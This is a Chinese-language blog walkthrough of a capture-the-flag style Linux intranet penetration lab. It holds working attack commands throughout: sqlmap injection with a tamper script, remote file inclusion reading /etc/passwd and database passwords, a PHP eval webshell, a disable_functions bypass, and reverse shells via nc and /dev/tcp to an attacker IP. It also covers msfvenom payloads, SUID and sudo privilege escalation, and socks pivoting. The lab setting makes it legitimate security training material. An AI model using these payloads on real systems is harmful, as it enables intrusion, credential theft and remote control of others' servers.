简单的Linux内网渗透靶场

环境使用vm15.5进行搭建以及kali

一、

1.主机发现

利用netdiscover扫描网段

netdiscover -i eth0 -r 192.168.0.0/24

在这里插入图片描述

也可利用nmap (-sn 只扫描IP不扫描端口 )

nmap -sn 190.168.0.0/24

在这里插入图片描述

发现 webIP192.168.0.122

访问IP网页

在这里插入图片描述

从样式可以判断安装了 宝塔

2.扫描端口

坑一:

使用mascan扫描端口失败(扫不出开放端口)

masscan -p 1-65535 192.168.0.122 --rate=1000 --interface eth0

在这里插入图片描述

设置默认网关

route add default gw 192.168.0.1 eth0

route add default gw 网关 网卡

找不到开放端口

在这里插入图片描述

使用nmap 扫描开放端口

nmap -sT -Pn 192.168.0.122

在这里插入图片描述

对端口进行更细的扫描

nmap -p 21,80,888,8888 192.168.0.122 -A -sC -oA /home/kali/Desktop/ddd4/ddd4-port

在这里插入图片描述

绑定hosts 并 访问网站

在这里插入图片描述

在这里插入图片描述

3.扫描网站目录

使用 gobuster

gobuster
-u  指定url
-w 	指定字典
-z 	指定扫描后缀名
l	扫描时显示网页长度(不带-)
-o 	导出扫描结果
--wildcard	网页返回200也继续扫描(针对网站无论输入url是啥都会显示原页面的那种网站,就像此处)
| grep -v "data"			与管道符|和grep过滤函数配合,过滤带data内容的结果
--timeout  设置网页响应超时时间(数据需要带单位)
-t	设置进程数

对于 url 输入任何都返回原页面的可用不同 长度 的带入浏览器访问 然后 过滤

在这里插入图片描述

使用 whatweb 获取 网站相关信息

whatweb url

在这里插入图片描述

下载网站的 建站系统 版本

可以去网上下载相同版本安装,可获取网站目录,敏感文件等

在本地搭建该网站

在这里插入图片描述

4.代码审计
1.编码二次注入

在这里插入图片描述

自己编写的页面测试 部分代码

未进行加密 单引号被转义

在这里插入图片描述

URL加密一次 单引号被转义

在这里插入图片描述

URL加密两次 单引号未转义,成功绕过WAF,代码可能存在注入存在

在这里插入图片描述

网站测试

在这里插入图片描述

由引号,成功绕过WAF

在这里插入图片描述

sqlmap 获取数据

sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py
//-u url --tamper 脚本 chardoubleencode 二次解码 -passwords 权限足够时爆数据库密码
//脚本地址 /usr/share/sqlmap/tamper/

存在注入

在这里插入图片描述

当前数据库 www_ddd4_com

查看数据表

在这里插入图片描述

doc_user 表中数据

在这里插入图片描述

admin

密文 9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c

2.密文是否能被逆向

admin 密文在登录中产生,去登陆模块寻找线索

发现加密类

在这里插入图片描述

不可逆

在这里插入图片描述

思考:可以编写脚本生成字符串与密文比较,(在本地撞库)

可本地生成密文去替换数据库 user 表里的密文( 需要数据库权限 )

3.文件包含

获取 l 赋值给 TB_PREFIX."doclang" ,给文件添加 .php 后缀可尝试 00截断 ,将路径输出

在这里插入图片描述

抓包

在这里插入图片描述

加上 l 参数

参数可控

在这里插入图片描述

可以使用 00截断(只适合php5.3以下)

在这里插入图片描述

在本地php5.2.17版本将%00转义成 \0 测试失败

失败原因可能是因为 该系统适用于linux而本地使用windows搭建

在目标网站上存在phpinfo,且gpc关闭

在这里插入图片描述

在这里插入图片描述

目标网站 php 版本高于5.3,无法使用%00截断

存在 user.ini文件

在这里插入图片描述

在这里插入图片描述

4.远程包含

测试远程包含漏洞

在这里插入图片描述

修改参数,即要 读取的文件路径

在这里插入图片描述

启动py 文件

在这里插入图片描述

构造 url ,填入kali mysql的账号密码

http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=440&pwd=123456&dbhost=192.168.0.129&action=chkdb

在这里插入图片描述

获得网站在服务器的路径 /WWW/wwwroot/www.ddd4.com/setup/checkdb.php

查看结果,得到 /etc/passwd的内容

在这里插入图片描述

远程包含数据库配置信息,修改脚本参数

文件路径信息通过上面的报错结合本地搭建的网站目录获得

在这里插入图片描述

(‘DB_HOSTNAME’,‘localhost’);\r\ndefine)(‘DB_USER’,‘www_ddd4_com’);\r\ndefine(‘DB_PASSWORD’,‘x4ix6ZrM7b8nFYHn’);

用户:www_ddd4_com

密码: x4ix6ZrM7b8nFYHn

localhost

5.替换密文

已拥有 数据库 账号 密码 IP,连接数据库 替换网站 admin 密文

mysql -h192.168.0.122 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn

在这里插入图片描述

连接成功,替换密文

替换前

在这里插入图片描述

利用本地搭建的网站,在登录模块利用网站的加密类 带入 参数 生成密文并输出

(自己加的代码,便于获取密文)

在这里插入图片描述

网页若未显示,可以用BP抓包查看响应包

获得admin密文 33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

在这里插入图片描述

网页不显示也可以加入exit() [可能时后面的html等覆盖了密文]

在这里插入图片描述

在这里插入图片描述

接下来用 update 命令更新网站管理员admin的 密文

update doc_user set pwd='33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0' where id= 1;
#update 表名  set 字段名='新值' where  限定条件

在这里插入图片描述

替换成功,尝试登录网站后台

登录成功

在这里插入图片描述

6.上传漏洞

上传点

在这里插入图片描述

在这里插入图片描述

能上传成功

在这里插入图片描述

在这里插入图片描述

但存在,无法访问上传的文件(php 文件等,但是html可以被访问),利用失败

在这里插入图片描述

在这里插入图片描述

除了上传到.htaccess规定的目录中,其他的php文件都无法访问

此处也无法上传新的 .htaccess

可尝试上传phtml(需要开启此拓展),此处不行

7.模板编辑写Shell

在这里插入图片描述

在此处编写shell

在这里插入图片描述

尝试phpinfo,成功

在这里插入图片描述

写入一句话木马

<?php @eval($_POST['440']);?>

在这里插入图片描述

在这里插入图片描述

8.执行系统命令函数

phpinfo 未过滤 putenv

在这里插入图片描述

上传所需文件

在这里插入图片描述

构造URL

 http://www.ddd4.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

成功执行pwd命令

在这里插入图片描述

尝试反弹shell

建立监听

nc -nvlp 9001

在这里插入图片描述

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.129 9001 >/tmp/f
 http://www.ddd4.com/bypass_disablefunc.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.129 9001 >/tmp/f&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

BP抓包

URLcmd参数进行(Ctrl+Shift+u)解码,在进行(Ctrl+u)编码

在这里插入图片描述

反弹连接后由断开,无法利用

在这里插入图片描述

bash shell

bash -i >& /dev/tcp/192.168.0.129/10001 0>&1
 http://www.ddd4.com/bypass_disablefunc.php?cmd=bash -i >& /dev/tcp/192.168.0.129/10001 0>&1&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

反弹失败

9.1 建立MSF会话

生成 攻击载荷

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.129 lport=13777 -f elf > /home/kali/Desktop/ddd4/ddd4 

查看信息 file

file ddd4

在这里插入图片描述

利用菜刀上传 载荷

在这里插入图片描述

设置监听

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.0.129
lhost => 192.168.0.129
msf5 exploit(multi/handler) > set lport 13777
lport => 13777
msf5 exploit(multi/handler) > run

利用执行命令脚本 运行 ddd4.elf

先加运行权限

http://www.ddd4.com/bypass_disablefunc.php?cmd=chmod+0777+ddd4&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

在这里插入图片描述

在这里插入图片描述

http://www.ddd4.com/bypass_disablefunc.php?cmd=./ddd4&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

在这里插入图片描述

建立会话成功

ifconfig

在这里插入图片描述

192.168.0.122

10.10.10.145

9.2 解决交互shell乱码问题

建立nc监听 ,在msf会话实现反弹shell

nc -lvnp 9001

在这里插入图片描述

bash -i >& /dev/tcp/192.168.0.129/9001 0>&1

在这里插入图片描述

设置python shell

python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+z
//把当前应用放到后台
stty raw -echo

之后可能会卡住,输入fgenter当跳出nc -lvnp 9001 时再按 enter

fg
//调出后台应用

在这里插入图片描述

10. 收集Linux信息

要先将脚本文件上传到目标

  1. 菜刀上传

  2. kali开启web服务,目标机访问kali并下载

开启web服务

python -m SimpleHTTPServer 80

在反弹shell中切换到tmp目录下载 脚本文件

脚本一:

wget http://192.168.0.129/LinEnum.sh

在这里插入图片描述

sh LinEnum.sh

[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 221768 Feb 8 2016 /usr/bin/find

历史命令

sudo su root
exit
sudo su root
sudo -L
sudo -l
sudo -su yanisy123
sudo -su - yanisy123
sudo -su root- yanisy123 //疑似密码
sudo -su root yanisy123
sudo -u
sudo su -
exit
ls
ls /tmp
hostname
cat bt.txt
ifconfig
cat bt.txt
ifconfig
ping 10.10.10.144

脚本二:

wget http://192.168.0.129/linux-exploit-suggester.sh

在这里插入图片描述

sh linux-exploit-suggester.sh

脚本三:

wget http://192.168.0.129/linuxprivchecker.py

在这里插入图片描述

python linuxprivchecker.py

find–> find / -exec /usr/bin/awk ‘BEGIN {system(“/bin/bash”)}’

find 命令查找suid文件(此处的find 已经带s [suid])

find / -type f -perm -u=s 2>/dev/null
// f是二进制文件 -u=s 带s的错误信息定向到/dev/null

在这里插入图片描述

11.提权
1.suid提权

利用 findsuid 属性提权

测试

touch test

创建目录

find test -exec whoami \;

寻找文件并执行代码

在这里插入图片描述

2.sudo提权

提前需要一个账号和密码(普通权限即可)

sudo su root

上面信息搜集时获得疑似密码 yanisy123

可以从使用命令查看权限

sudo -l

在这里插入图片描述

查看主机名,猜测账号密码是否存在

在这里插入图片描述

成功

使用sudo 提权

在这里插入图片描述

3.宝塔计划任务提权

菜刀shell 权限很大,在其中发现bt.txt

在这里插入图片描述

在这里插入图片描述

Bt-Panel: http://116.27.229.43:8888/944906b5
username: gpeqnjf4
password: d12924fa

为宝塔登录面板

在这里插入图片描述

添加计划任务,设置任务类型,名称,周期,内容,点击 执行 时立刻执行

bash -i >& /dev/tcp/192.168.0.129/10001 0>&1

在这里插入图片描述

建立监听,执行后获得会话

在这里插入图片描述

4.获得root权限的MSF会话

MSF建立监听

root权限交互shell运行ddd4(shell文件)

在这里插入图片描述

还可以通过查看 /etc/shadow(只允许root查看)来判断是否时root

在这里插入图片描述

二、

1.获取内网信息

ifconfig查看网卡信息

在这里插入图片描述

192.168.0.122

10.10.10.145

查看hosts文件

在这里插入图片描述

查看路由信息

run get_local_subnets

在这里插入图片描述

2.建立路由,配置代理
run autoroute -s 10.10.10.0/24
run autoroute -p

在这里插入图片描述

设置代理

在这里插入图片描述

配置 proxychains.conf

本地 hosts绑定 web机hosts绑定网址,利用proxychains访问该网站 收集信息

在这里插入图片描述

3.内网扫描并使用socks5穿透内网

proxychains 不能带 ping (proxychains支持的是sockshttp, https协议.它们以tcp或者udp协议为基础. 所以proxychains只支持使用tcpudp协议的程序. ping用的是ICMP协议,不以tcpudp为基础,所以用不了。)【开隧道】

扫描内网主机

proxychains nmap -sT -Pn 10.10.10.0/24

此处已知10.10.10.144

proxychains nmap -sT -Pn 10.10.10.144

在这里插入图片描述

由于socks4不稳定,尝试socks5

kali 开启web服务 目标主机访问 并下载工具 ssocks-0.0.14.tar.gz

python -m SimpleHTTPServer 80
wget http://192.168.0.129/ssocks-0.0.14.tar.gz

本地搭建

解压

tar zxvf ssocks-0.0.14.tar.gz

进入文件夹,编译

cd ssocks-0.0.14/

执行 configue

./configure && make

在这里插入图片描述

cd src

在这里插入图片描述

在目标主机 解压编译生成文件

先在kali建立监听

./rcsocks -l 2233 -p 1080 -vv
//-l 代理端口  -p 目标机连接我们的端口 -vv详细信息

在这里插入图片描述

web机绑定主机端口建立连接

./rssocks -vv -s 192.168.0.129:1080
//-vv 详细信息 -s 绑定主机IP和端口

在这里插入图片描述

web机连接 kali

在这里插入图片描述

配置proxychains.conf

在这里插入图片描述

访问 www.ddd5.com,尝试弱口令登录

在这里插入图片描述

密码为 123456

在这里插入图片描述

4.浏览器配置代理穿透内网
1.kali

kali 浏览器socks5代理

在这里插入图片描述

在这里插入图片描述

访问成功

2.物理机

物理机浏览器socks5代理(IPkali的,因为建立的隧道是由 kali 和 目标web机联通)

在这里插入图片描述

在这里插入图片描述

访问成功

5.GetShell

上传一个带shell的模板文件

上传成功后会自动解压

在这里插入图片描述

shell

在这里插入图片描述

shell的模板文件打包成zip后上传

在这里插入图片描述

在这里插入图片描述

根据emlog网站源码(自行下载)分析摹本存放位置

/content/templates/moonsec/
//  /content/templates/上传模板包文件名/
http://www.ddd5.com/content/templates/moonsec/1.php?cmd=phpinfo();

在这里插入图片描述

此处 1.php 为一句话木马 参数为 cmd

moon.php 为 大马 密码 为 moon

shell 密码为 cmd

6.中国蚁剑菜刀内网穿透
1.中国蚁剑

配置socks5代理

在这里插入图片描述

测试连接

在这里插入图片描述

重启后,添加数据即可访问成功

在这里插入图片描述

2.中国菜刀

利用 socksCap64 代理工具给菜刀添加代理

在这里插入图片描述

虽然显示连接失败,但仍然能代理成功

在这里插入图片描述

打开菜刀尝试连接

在这里插入图片描述

右键

在这里插入图片描述

添加数据,尝试连接

在这里插入图片描述

连接成功

7.进入后台

收集信息

cat /etc/passwd |grep -v nologin
hostname
nestat -tnlp

在这里插入图片描述

直接访问IP

在这里插入图片描述

默认用户密码

admin

wdlinux.cn

在这里插入图片描述

访问8080 端口

在这里插入图片描述

尝试 用默认账号登录失败

在这里插入图片描述

wdcp服务器带有phpmyadmin目录

访问10.10.10.144:8080/phpmyadmin目录

在这里插入图片描述

尝试默认账号密码登录失败

尝试root 加 默认密码 wdlinux.cn,登录成功

在这里插入图片描述

寻找 8080端口登录账号密码

在这里插入图片描述

发现密文 尝试MD5解密

17d03da6474ce8beb13b01e79f789e63

moonsec123

尝试登录

在这里插入图片描述

若显示登录超时

可以使用之前的webshell查看目标机的时间 date 或date -R

然后调整本地时间,再次访问

在这里插入图片描述

在这里插入图片描述

8.提权

可执行系统命令,但会过滤危险函数

在这里插入图片描述

尝试base64加密反弹shell,运行失败

在这里插入图片描述

尝试ssh密钥连接

下载密钥文件(若不存在,先点击生成密钥,再下载)

在这里插入图片描述

在这里插入图片描述

查看文件权限

ls -al

文件加600权限

chmod 600 sshkey_wdcp

利用proxychains远程ssh连接

proxychains ssh root@10.10.10.144 -i sshkey_wdcp
//-i 指定密钥文件

在这里插入图片描述

ssh登录成功

9.建立MSF会话(失败)

生成正向攻击载荷

msfvenom -p linux/x86/meterpreter/bind_tcp lport=12777 -f elf > /home/kali/Desktop/ddd4/bindd

利用蚁剑上传,利用root会话运行,获得带有root权限的MSF会话

路径: /www/web/www_ddd5_com/public_html/content/templates/moonsec/

在这里插入图片描述

进入目录添加权限并运行文件

在这里插入图片描述

kali正向连接

use exploit/multi/handler 
options
set LPORT 12777
set RHOST 10.10.10.144
run

在这里插入图片描述

无法建立连接(???)

失败原因可能是目标机系统为centous

三、flag

第一个flag

位置

192.168.0.122
/home/host123/flag1.txt
aad386cf0e9359025d874b8c1c331099

在这里插入图片描述

第二个flag

位置

192.168.0.122
/root/root.txt
74cc1c60799e0a786ac7094b532f01b1
第三个flag

位置:

10.10.10.144
/root/root.txt
56a7043405ad08a649bd611569e1a243

在这里插入图片描述

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

葵gui

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值